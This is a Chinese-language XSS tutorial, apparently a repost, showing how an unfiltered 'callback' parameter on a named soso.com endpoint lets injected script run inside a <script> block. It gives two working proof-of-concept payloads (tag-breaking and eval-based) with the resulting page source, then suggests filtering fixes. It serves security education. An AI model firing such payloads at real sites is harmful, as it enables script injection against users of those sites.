xss實例-輸出在之間的情況


1. 我們找到這么一個點,也是輸入和輸出都未過濾的一個點。相比教程第一例,其特殊之處在於,是輸出在了 <script>[輸出]</script>之間。

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa


如下圖:callback參數未做過濾。 在【查看源代碼】下,我們可以看到。

缺陷網頁源代碼:

<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>


2. 碰到這種情況,我們一般有以下解法。

2.1 首先判斷,是否過濾了 < , > , / 等符號,

2.2 如果都沒有過濾,恭喜你,一般可以直接XSS了。代碼如下:



http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>



原理入下圖:


構造callback參數后的源代碼

<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>

2.3 如果過濾了 <, >,那么就無法使用上面的辦法了。我們接着看 3



3. script代碼里的構造。



友情提示:這里可能需要一點點 javascript 的知識才行哦~~



我們可以如下構造:



http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void





可以看到,源代碼是下面的樣子。

也就是說,我們插入的內容,使得這一段javascript依然【語法正確】,能夠【正確執行】,並且能夠執行【我們所插入的JS代碼】,這樣我們的目的就達到了。



構造后的源代碼如下:



<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>





4. 這種輸出在JS代碼里的情況十分常見,但是呢?不幸的是,像這樣沒過濾的情況,卻不是很常見。例如:



var a="[輸出]"; // 通常程序員會把 " 過濾掉, 這樣的話,一般來說,我們就很難構造。





但是,這並不是說,就一定是不能利用,后面我們會拿騰訊一些【比較有意思】的例子,來進一步說到 這個【輸出在js里】的情況的~ 

 

修復方案:

這類XSS的模型通常是:



<script>...[輸出]...</script>

<style>...[輸出]...</script>



解決方案:



1. 過濾 </xxx> 組合

2. 針對輸出在不同的場景,進行合適的過濾。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM